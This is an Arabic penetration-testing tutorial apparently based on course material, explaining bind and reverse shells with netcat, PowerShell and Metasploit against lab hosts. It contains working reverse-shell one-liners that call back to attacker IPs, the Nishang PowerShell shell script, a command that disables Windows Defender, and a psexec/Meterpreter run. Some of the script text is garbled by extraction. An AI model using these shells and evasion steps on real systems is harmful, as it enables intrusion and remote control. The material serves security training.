الـ Shell هو اللي بيوصلك للتحكم في الجهاز. هنا هتفهم أنواعه، وإزاي تبني payload مناسب، وتفتح shell تفاعلي، وتستخدم الـ Web Shells.
الـ shell برنامج بياخد أوامرك وينفذها في النظام ويرجعلك النتيجة كنص: Bash وZsh وcmd وPowerShell. في اختبار الاختراق، الشل غالبا بييجي نتيجة استغلال ثغرة أو تخطي حماية، وبعدها بنبقى شغالين على الجهاز بشكل تفاعلي.
"I caught a shell."
"I popped a shell!"
"I dropped into a shell!"
"I'm in!"الجمل دي معناها واحد: الشخص ده عمل exploit ووصل للـ shell على نظام الهدف. وده الهدف الأساسي في أغلب المهام، والموديول ده بيركز على اللي بعد الـ enumeration واختيار الـ exploit.
| المنظور | المعنى |
|---|---|
| Computing | بيئة userland نصية لإدارة المهام وإرسال الأوامر: Bash، Zsh، cmd، PowerShell. |
| Exploitation & Security | الشل نتيجة استغلال ثغرة أو تخطي حماية. مثال: تشغيل EternalBlue على Windows والوصول لـ cmd من بعيد. |
| Web | web shell سكربت بيتحط على السيرفر (غالبا عبر ثغرة رفع ملف) وبيتحكم فيه من المتصفح: تنفيذ أوامر، قراءة ملفات، وربما تخريب. |
كلمة payload معناها بيختلف حسب المجال:
الشل = وصول. الـ payload = الكود اللي بيوصلك للوصول ده. الموديول كله بيلف حول الاتنين: إزاي تعملهم، وإزاي توصلهم للهدف، وإزاي تفضل مخفي.
إحنا penetration tester في CAT5 Security وبنحضر مهمة لعميل اسمه Inlanefreight. الفريق الأكبر عايز يتأكد من مهاراتك في الشلات والـ payloads قبل ما يدخلك المهمة الحقيقية، فالتقييم النهائي سلسلة تحديات لازم تعديها.
كل نظام تشغيل عنده شل، وللتعامل معاه محتاج terminal emulator. أشهرهم:
| Terminal Emulator | نظام التشغيل |
|---|---|
| Windows Terminal | Windows |
| cmder | Windows |
| PuTTY | Windows |
| kitty | Windows, Linux, macOS |
| Alacritty | Windows, Linux, macOS |
| xterm | Linux |
| GNOME Terminal | Linux |
| MATE Terminal | Linux |
| Konsole | Linux |
| Terminal | macOS |
| iTerm2 | macOS |
الاختيار بينهم مسألة ذوق وworkflow. المهم: الـ emulator اللي هتلاقيه على الهدف هو اللي موجود أصلا في النظام، مش اللي بتحبه.
زي المترجم البشري، الـ command language interpreter برنامج بيترجم أوامرك ويبعتها للـ OS. فالـ CLI في الحقيقة = نظام التشغيل + terminal emulator + interpreter. الأنواع دي بتتسمى كمان shell scripting languages أو Command and Scripting Interpreters في تقنيات الـ Execution في MITRE ATT&CK. معرفة الـ interpreter الموجود على الهدف بتحدد الأوامر والسكربتات اللي تستخدمها.
في Pwnbox اضغط أيقونة المربع الأخضر فوق عشان تفتح MATE Terminal، واكتب أي حاجة وادوس Enter.
علامة $ في أول السطر بتقولك الـ interpreter نوعه إيه: العلامة دي موجودة في Bash وKsh وPOSIX وغيرهم كعلامة بداية الـ prompt. ولما كتبنا نص عشوائي، Bash رد إنه مش عارف الأمر، يعني الـ interpreter ليه قائمة أوامر بيعرفها.
طريقة تانية لمعرفة الـ interpreter: تشوف الـ processes الشغالة.
ps
PID TTY TIME CMD
4232 pts/1 00:00:00 bash
11435 pts/1 00:00:00 psأو من متغيرات البيئة بأمر env:
env
SHELL=/bin/bashاضغط أيقونة المربع الأزرق: نفس الـ MATE Terminal لكن بـ interpreter تاني. قارن بينهم جنب بعض.
What differences can we identify?
Why would we use one over the other on the same system?الفرق كبير في الأوامر والـ output. أهم استنتاج: الـ terminal emulator مش مربوط بلغة واحدة، والـ shell language نفسها بتتغير حسب احتياج المستخدم.
Now for some challenge questions to test our understanding. All answers can
be found utilizing Pwnbox.قبل أي shell، اسأل: إيه الـ interpreter الموجود على الهدف؟ (Bash؟ cmd؟ PowerShell؟) الإجابة بتحدد كل الأوامر اللي هتكتبها.
في أغلب الحالات بنكون عايزين نتحكم في جهاز بعيد من خلال الـ terminal بتاعنا، وده بيحصل بـ bind shell و/أو reverse shell.
في الـ bind shell، الهدف هو اللي بيفتح listener وينتظر اتصال من الـ attack box.
المشاكل المتوقعة:
الأداة المستخدمة هنا GNU Netcat (nc)، الـ Swiss-Army Knife: شغال على TCP وUDP وUnix sockets، IPv4/IPv6، بيفتح listeners، وبيشتغل proxy، وبيتعامل مع input/output نصي. الـ attack box = client، والهدف = server.
على الهدف (Ubuntu) نشغل listener:
Target@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)ومن الـ attack box نتصل:
nc -nv 10.129.41.200 7777
Connection to 10.129.41.200 7777 port [tcp/*] succeeded!على العميل بتشوف succeeded! وعلى السيرفر received!.
Target@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 10.10.14.117 51872 received!ده لسه مش شل حقيقي، ده مجرد TCP session بـ Netcat. جرب: اكتب رسالة من العميل وشوفها واصلة على السيرفر.
nc -nv 10.129.41.200 7777
Connection to 10.129.41.200 7777 port [tcp/*] succeeded!
Hello AcademyVictim@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 10.10.14.117 51914 received!
Hello Academyعشان يبقى bind shell فعلا، لازم على السيرفر نحدد الـ directory والـ shell والـ listener، ونستخدم pipelines وإعادة توجيه input/output عشان النظام نفسه يتقدم للعميل.
Target@server:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i
2>&1 | nc -l 10.129.41.200 7777 > /tmp/fالأمر ده هو الـ payload، وبنوصله بإيدينا (manually). الأوامر بتختلف حسب نظام الهدف.
nc -nv 10.129.41.200 7777
Target@server:~$كده عندك bind shell كامل. في السيناريو ده إحنا متحكمين في الطرفين ومفيش أي حماية (NAT، hardware firewall، WAF، IDS/IPS، firewall النظام، endpoint protection، authentication)، وده مش واقعي، لكنه أساس الفهم.
الـ bind shell أسهل في الدفاع ضده: الاتصال داخل (incoming) فهيتكشف ويتحجب بسهولة حتى لو على بورت شائع. الحل: reverse shell.
في الـ reverse shell الـ attack box هو اللي بيفتح listener، والهدف هو اللي يبدأ الاتصال.
بنستخدمه أكتر لأن أغلب الأجهزة بتسمح بالاتصالات الخارجة، فبتقدر تستغل ثغرة (RCE، file upload، command injection...) وتجبر الهدف يتصل بينا.
مش لازم نعيد اختراع العجلة: فيه مكتبات جاهزة بأوامر وسكربتات reverse shell لكل اللغات، وأشهرها Payloads All The Things وReverse Shell Cheat Sheet.
على الـ attack box نشغل listener:
sudo nc -lvnp 443
Listening on 0.0.0.0 443لاحظ إننا بنسمع على بورت 443 (بورت HTTPS) عشان يبان كأنه ترافيك عادي ويعدي من الـ firewall.
بعد ما نعمل RDP على الهدف، نسأل نفسنا سؤال مهم:
What applications and shell languages are hosted on the target?على الهدف نفتح command prompt ونلصق الأمر:
powershell -nop -c "$client = New-Object
System.Net.Sockets.TCPClient('10.10.14.158',443);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -
TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path
+ '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$s
endbyte.Length);$stream.Flush()};$client.Close()"لو بتستخدم Pwnbox، بعض المتصفحات بتبوظ تنسيق الـ clipboard في الكونسول. انسخ الأمر بحرص أو اكتبه من ملف.
راجع الأمر كويس: إيه اللي لازم تغيره عشان يشتغل عندك؟ (الـ IP والـ port بتوعك).
What happened when we hit enter in command prompt?At line:1 char:1
+ $client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443)
...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your
antivirus software.
+ CategoryInfo : ParserError: (:) [],
ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContentالنتيجة: Windows Defender وقف تنفيذ الكود. ده متوقع، لأن الـ AV بيمسك الـ one-liner الشهير ده.
نوقف الـ real-time monitoring من Virus & threat protection settings أو من PowerShell كـ admin:
PS C:\Users\htb-student> Set-MpPreference -DisableRealtimeMonitoring $trueوبعدها نعيد تشغيل الأمر:
sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.36.68 49674
PS C:\Users\htb-student> whoami
ws01\htb-studentreverse shell = الهدف بيتصل بينا. بنستخدم بورت شائع (443/80) عشان نعدي الـ firewall، والـ AV هيمسك الـ payloads المعروفة، فمحتاج تشفير أو obfuscation أو payload مخصص.
Have you ever sent an email or text to someone?الرسالة اللي بتبعتها في الإيميل أو الـ SMS هي الـ payload بتاع الـ packet وهي ماشية في الشبكة. ولما بتوصل payload وتشغله، أنت فعليا بتدي الجهاز أمر ينفذ كود.
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc
10.10.14.12 7777 > /tmp/fده أشهر one-liner على Linux يقدم Bash shell على الشبكة. نفككه جزء جزء:
rm -f /tmp/f;بيحذف الملف /tmp/f لو موجود؛ -f بيخلي rm يتجاهل الملفات غير الموجودة، و; بيفصل الأوامر.
mkfifo /tmp/f;بيعمل FIFO named pipe في المسار المحدد (/tmp/f) كوسيط بين الطرفين.
cat /tmp/f |cat بيقرأ من الـ FIFO، والـ pipe | بيوصل الـ stdout بالجزء اللي بعده.
/bin/bash -i 2>&1 |-i بتخلي الشل تفاعلي، و2>&1 بتحول الـ stderr للـ stdout عشان الأخطاء ترجعلك كمان.
nc 10.10.14.12 7777 > /tmp/fNetcat بيتصل بالـ attack box (10.10.14.12) على بورت 7777، والـ output بيتكتب في الـ FIFO اللي Bash بيقرأ منه.
اختيار الـ shell والـ payload بيعتمد على نظام الهدف. الـ one-liner بتاع PowerShell طويل، بس كل جزء فيه له وظيفة:
powershell -nop -c "$client = New-Object
System.Net.Sockets.TCPClient('10.10.14.158',443);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -
TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path
+ '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$s
endbyte.Length);$stream.Flush()};$client.Close()"powershell -nop -cبيشغل powershell.exe من غير profile (-nop) وينفذ بلوك الكود (-c). الأمر بيتكتب من داخل cmd.exe، عشان كده اسم PowerShell في أوله.
"$client = New-Object System.Net.Sockets.TCPClient(10.10.14.158,443);بيعمل object من نوع TCPClient بيتصل بـ 10.10.14.158 على بورت 443، والـ ; بتنفذ الأوامر بالتتابع.
$stream = $client.GetStream();بياخد الـ stream من الاتصال عشان تقرأ منه وتكتب فيه.
[byte[]]$bytes = 0..65535|%{0};بيعمل array من نوع byte فيه 65,535 صفر، جاهزة تستقبل بيها البيانات.
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)loop بيقرأ من الـ stream لحد ما القراءة ترجع صفر (يعني الاتصال قفل).
{;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes, 0, $i);بيحول البايتات لـ ASCII، فاللي تكتبه بيوصل كنص مفهوم مش بايتات فاضية.
$sendback = (iex $data 2>&1 | Out-String );iex بينفذ الأمر اللي وصل، والنتيجة (مع الأخطاء) بتتحول لـ string في $sendback.
$sendback2 = $sendback + 'PS ' + (pwd).path + '> ';بيضيف PS ومسار المجلد الحالي عشان الـ prompt يبان زي PS C:\workingdirectoryofmachine>.
$sendbyte=
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$s
endbyte.Length);$stream.Flush()}بيحول الـ prompt لبايتات ASCII ويكتبها في الـ stream وبيعمل flush.
$client.Close()"بيقفل الاتصال.
نفس الـ one-liner ممكن يتنفذ كسكربت .ps1، وده مثال سكربت جاهز من Nishang:
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive
PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard Netcat listening on a port
when using the -Reverse switch.
Also, a standard Netcat can connect to this script Bind to a specific
port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it
is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell.
A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell.
Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -
Port 4444
Above shows an example of an interactive PowerShell reverse connect shell
over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-
day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true,
ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false,
ParameterSetName="bind")]
$IPAddress,
[String]
[Parameter(Position = 1, Mandatory = $true,
ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true,
ParameterSetName="bind")]
$Port,
[Int]
[Parameter(ParameterSetName="reverse")]
$Reverse,
[Switch]
[Parameter(ParameterSetName="bind")]
$Bind
[Switch]
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object
System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener =
$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
[System.Net.Sockets.TcpListener]
$stream = $client.GetStream()
$bytes = 0..65535|%{0}
[byte[]]
#Send back current username and computername
$sendbytes = (
::ASCII).GetBytes("Windows PowerShell
[text.encoding]running as user " + $env:username + " on " + $env:computername +
"`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = (
::ASCII).GetBytes('PS ' + (Get-
Location).Path + '>')
[text.encoding]
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-
String )
}
catch
{
Write-Warning "Something went wrong with execution of
command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = (
::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is
reachable and you are using the correct port."
[text.encoding]
Write-Error $_
}
}فهم نوع الـ payload بيخليك تعرف ليه الـ AV بيمنعه وإزاي تعدله. مش كل الـ payloads one-liners بتتكتب بإيدك؛ فيه payloads بتتولد من أدوات وأطر زي Metasploit.
الـ one-liner هو سلسلة خطوات صغيرة: افتح اتصال، اقرأ الأمر، نفذه، رجع النتيجة. فهم السلسلة دي هو اللي يخليك تبني payload بنفسك بدل ما تحفظ أمر.
Metasploit (من Rapid7) إطار هجوم بيسهل الاستغلال: قواعد بيانات للثغرات، payloads جاهزة، exploit modules، وأدوات post-exploitation. هنستخدم النسخة المجتمعية على Pwnbox، بس الجزء ده مش تغطية كاملة للميتاسبلويت (له موديول كامل لوحده).
نشغل الكونسول كـ root:
sudo msfconsole
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v6.0.44-dev ]
+ -- --=[ 2131 exploits - 1139 auxiliary - 363 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: Writing a custom module? After editing your
module, why not try the reload command
msf6 >هتلاقي banner فيه أرقام مهمة، مثلا 2131 exploits و592 payloads. الأرقام دي بتتغير مع تحديث الأداة أو إضافة modules.
الخطوة العملية: عندنا نتائج nmap ونبي نختار module مناسب لـ Windows.
nmap -sC -sV -Pn 10.129.164.25
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan
times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-09 21:03 UTC
Nmap scan report for 10.129.164.25
Host is up (0.020s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
(workgroup: WORKGROUP)
Host script results:
|_nbstat: NetBIOS name: nil, NetBIOS user: <unknown>, NetBIOS MAC:
00:50:56:b9:04:e2 (VMware)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-09T21:03:31
|_ start_date: N/Aالنتيجة فيها بورتات standard لـ Windows (135، 139، 445...). بعد كده نستخدم البحث داخل MSF:
msf6 > search smb
Matching Modules
================
# Name
Disclosure Date Rank Check Description - ---- -------
-------- ---- ----- ----------
41 auxiliary/scanner/smb/smb_ms17_010
normal No MS17-010 SMB RCE Detection
42 auxiliary/dos/windows/smb/ms05_047_pnp
normal No Microsoft Plug and Play Service Registry Overflow
43 auxiliary/dos/windows/smb/rras_vls_null_deref
2006-06-14 normal No Microsoft RRAS
InterfaceAdjustVLSPointers NULL Dereference
44 auxiliary/admin/mssql/mssql_ntlm_stealer
normal No Microsoft SQL Server NTLM Stealer
45 auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
normal No Microsoft SQL Server SQLi NTLM Stealer
46 auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
normal No Microsoft SQL Server SQLi SUSER_SNAME Windows Domain
Account Enumeration
47 auxiliary/admin/mssql/mssql_enum_domain_accounts
normal No Microsoft SQL Server SUSER_SNAME Windows Domain Account
Enumeration
48 auxiliary/dos/windows/smb/ms06_035_mailslot
2006-07-11 normal No Microsoft SRV.SYS Mailslot Write
Corruption
49 auxiliary/dos/windows/smb/ms06_063_trans
normal No Microsoft SRV.SYS Pipe Transaction No Null
50 auxiliary/dos/windows/smb/ms09_001_write
normal No Microsoft SRV.SYS WriteAndX Invalid DataOffset
51 auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh
normal No Microsoft SRV2.SYS SMB Negotiate ProcessID Function
Table Dereference
52 auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff
normal No Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL
Pointer Dereference
53 auxiliary/dos/windows/smb/vista_negotiate_stop
normal No Microsoft Vista SP0 SMB Negotiate Protocol DoS
54 auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
normal No Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite
Loop
55 auxiliary/scanner/smb/psexec_loggedin_users
normal No Microsoft Windows Authenticated Logged In Users
Enumeration
56 exploit/windows/smb/psexec
1999-01-01 manual No Microsoft Windows Authenticated User
Code Execution
57 auxiliary/dos/windows/smb/ms11_019_electbowser
normal No Microsoft Windows Browser Pool DoS
58 exploit/windows/smb/smb_rras_erraticgopher
2017-06-13 average Yes Microsoft Windows RRAS Service
MIBEntryGet Overflow
59 auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow
normal No Microsoft Windows SRV.SYS SrvSmbQueryFsInformation PoolOverflow DoS
60 exploit/windows/smb/ms10_046_shortcut_icon_dllloader
2010-07-16 excellent No Microsoft Windows Shell LNK Code
Executionقائمة النتائج بتعرض لكل module رقم واسم وتاريخ disclosure وrank وcheck ووصف. الرقم اللي على الشمال بيتغير حسب البحث، وبيتستخدم في الاختيار.
56 exploit/windows/smb/psexec| الجزء | المعنى |
|---|---|
| 56 | رقم الـ module في نتيجة البحث، وتستخدمه في use 56. |
| exploit/ | نوع الـ module: exploit. معظم exploit modules فيها payload بيحاول يفتح shell session. |
| windows/ | الـ platform المستهدفة، وهنا Windows، فالـ exploit والـ payload لـ Windows. |
| smb/ | الخدمة اللي الـ payload مكتوب لها. |
| psexec | الأداة اللي بتترفع على الهدف لو كان مصاب. |
msf6 > use 56
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) >لاحظ إن exploit بره الأقواس: نوع الـ module. واللي جوه الأقواس هو الـ module المختار، والـ prompt بيتغير عشان تعرف فين أنت.
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s),
range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port
(TCP)
SERVICE_DESCRIPTION no Service description to
to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display
name
SERVICE_NAME no The service name
SHARE no The share to connect
to, can be an admin share (ADMIN$,C$,...) or a normal read/write fo
lder share
SMBDomain . no The Windows domain to
use for authentication
SMBPass no The password for the
specified username
SMBUser no The username to
authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 68.183.42.102 yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automaticدي قوة Metasploit: بيوريك كل الإعدادات المطلوبة وشرحها. نظبط المهم:
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.129.180.71
RHOSTS => 10.129.180.71
msf6 exploit(windows/smb/psexec) > set SHARE ADMIN$
SHARE => ADMIN$
msf6 exploit(windows/smb/psexec) > set SMBPass HTB_@cademy_stdnt!
SMBPass => HTB_@cademy_stdnt!
msf6 exploit(windows/smb/psexec) > set SMBUser htb-student
SMBUser => htb-student
msf6 exploit(windows/smb/psexec) > set LHOST 10.10.14.222
LHOST => 10.10.14.222RHOSTS = الهدف، SHARE = المشاركة اللي هيترفع عليها، SMBUser/SMBPass = بيانات الدخول، LHOST = جهازك عشان الـ reverse shell يرجعلك.
msf6 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 10.10.14.222:4444
[*] 10.129.180.71:445 - Connecting to the server...
[*] 10.129.180.71:445 - Authenticating to 10.129.180.71:445 as user 'htb-
student'...
[*] 10.129.180.71:445 - Selecting PowerShell target
[*] 10.129.180.71:445 - Executing the payload...
[+] 10.129.180.71:445 - Service start timed out, OK if running a command
or non-service executable...
[*] Sending stage (175174 bytes) to 10.129.180.71[*] Meterpreter session 1 opened (10.10.14.222:4444 ->
10.129.180.71:49675) at 2021-09-13 17:43:41 +0000
meterpreter >بعد exploit الأداة بتنفذ الـ module وبتوصل الـ payload للهدف. حسب توثيق Rapid7: الـ module ده بيستخدم مستخدم admin صالح عشان يرفع payload ويعمل service.
الـ psexec module بيعمل service على الهدف عشان يشغل الـ payload (create/start/stop)، وبيستخدم أدوات Sysinternals في الشغل ده. وده اللي بيخلي الـ AV والـ EDR يمسكوه بسهولة.
Meterpreter زي أي interpreter تاني: بياخد أوامرك وينفذها على الهدف، بس من غير ما يفتح process جديد.
meterpreter > shell
Process 604 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18362.1256]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>Meterpreter مش cmd. لو عايز شل نظام عادي، اكتب shell جوه الـ session.
الهجوم الأوتوماتيكي بـ Metasploit محتاج وصول للهدف (شبكة داخلية أو منفذ مفتوح). لو الهدف مش متاح، بنستخدم MSFvenom نصنع payload ونوصله بإيميل أو أي وسيلة social engineering. MSFvenom كمان بيشفر ويشفر الـ payloads عشان يتخطى توقيعات الـ AV.
msfvenom -l payloads
Framework Payloads (592 total) [--payload <value>]
==================================================
Name Description
---- -----------
linux/x86/shell/reverse_nonx_tcp Spawn a command shell
(staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell
(staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell
(staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp Listen for a
connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a
connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port Listen for a
connection in a random port and spawn a command shell. Use nmap to
discover the open port: 'nmap -sS target -p-'.linux/x86/shell_find_port Spawn a shell on an
established connection
linux/x86/shell_find_tag Spawn a shell on an
established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to
attacker and spawn a command shell
linux/x86/shell_reverse_tcp_ipv6 Connect back to
attacker and spawn a command shell over IPv6
linux/zarch/meterpreter_reverse_http Run the Meterpreter /
Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_https Run the Meterpreter /
Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_tcp Run the Meterpreter /
Mettle server payload (stageless)
mainframe/shell_reverse_tcp Listen for a
connection and spawn a command shell. This implementation does not
include ebcdic character translation, so a client wi
th translation
capabilities is required. MSF handles this automatically.
multi/meterpreter/reverse_http Handle Meterpreter
sessions regardless of the target arch/platform. Tunnel communication over
HTTP
multi/meterpreter/reverse_https Handle Meterpreter
sessions regardless of the target arch/platform. Tunnel communication over
HTTPS
netware/shell/reverse_tcp Connect to the NetWare
console (staged). Connect back to the attacker
nodejs/shell_bind_tcp Creates an interactive
shell via nodejs
nodejs/shell_reverse_tcp Creates an interactive
shell via nodejs
nodejs/shell_reverse_tcp_ssl Creates an interactive
shell via nodejs, uses SSL
osx/armle/execute/bind_tcp Spawn a command shell
(staged). Listen for a connection
osx/armle/execute/reverse_tcp Spawn a command shell
(staged). Connect back to the attacker
osx/armle/shell/bind_tcp Spawn a command shell
(staged). Listen for a connection
osx/armle/shell/reverse_tcp Spawn a command shell
(staged). Connect back to the attacker
osx/armle/shell_bind_tcp Listen for a
connection and spawn a command shell
osx/armle/shell_reverse_tcp Connect back to
attacker and spawn a command shell
osx/armle/vibrate Causes the iPhone to
vibrate, only works when the AudioToolkit library has been loaded. Based
on work by Charlie Miller
library has been loaded. Based on work by Charlie Millerwindows/dllinject/bind_hidden_tcp Inject a DLL via a
reflective loader. Listen for a connection from a hidden port and spawn a
command shell to the allowed host.
windows/dllinject/bind_ipv6_tcp Inject a DLL via a
reflective loader. Listen for an IPv6 connection (Windows x86)
windows/dllinject/bind_ipv6_tcp_uuid Inject a DLL via a
reflective loader. Listen for an IPv6 connection with UUID Support
(Windows x86)
windows/dllinject/bind_named_pipe Inject a DLL via a
reflective loader. Listen for a pipe connection (Windows x86)
windows/dllinject/bind_nonx_tcp Inject a DLL via a
reflective loader. Listen for a connection (No NX)
windows/dllinject/bind_tcp Inject a DLL via a
reflective loader. Listen for a connection (Windows x86)
windows/dllinject/bind_tcp_rc4 Inject a DLL via a
reflective loader. Listen for a connection
windows/dllinject/bind_tcp_uuid Inject a DLL via a
reflective loader. Listen for a connection with UUID Support (Windows x86)
windows/dllinject/find_tag Inject a DLL via a
reflective loader. Use an established connection
windows/dllinject/reverse_hop_http Inject a DLL via a
reflective loader. Tunnel communication over an HTTP or HTTPS hop point.
Note that you must first upload data/hop
/hop.php to the
PHP server you wish to use as a hop.
windows/dllinject/reverse_http Inject a DLL via a
reflective loader. Tunnel communication over HTTP (Windows wininet)
windows/dllinject/reverse_http_proxy_pstore Inject a DLL via a
reflective loader. Tunnel communication over HTTP
windows/dllinject/reverse_ipv6_tcp Inject a DLL via a
reflective loader. Connect back to the attacker over IPv6
windows/dllinject/reverse_nonx_tcp Inject a DLL via a
reflective loader. Connect back to the attacker (No NX)
windows/dllinject/reverse_ord_tcp Inject a DLL via a
reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp Inject a DLL via a
reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_allports Inject a DLL via a
reflective loader. Try to connect back to the attacker, on all possible
ports (1-65535, slowly)
windows/dllinject/reverse_tcp_dns Inject a DLL via a
reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_rc4 Inject a DLL via a
reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_rc4_dns Inject a DLL via a
reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_uuid Inject a DLL via a
reflective loader. Connect back to the attacker with UUID Support
windows/dllinject/reverse_winhttp Inject a DLL via a
reflective loader. Tunnel communication over HTTP (Windows winhttp)What do you notice about the output?من الـ output تلاحظ إن الـ payloads مقسمة حسب النظام (Linux، Windows، macOS، mainframe...)، وفيه payloads موصوفة بـ staged وstageless.
linux/zarch/meterpreter_reverse_tcp بيتبعت كامل في packet واحد.التمييز سهل من الاسم: windows/meterpreter/reverse_tcp (بشرطة مائلة بين meterpreter وreverse) = staged، وwindows/meterpreter_reverse_tcp = stageless.
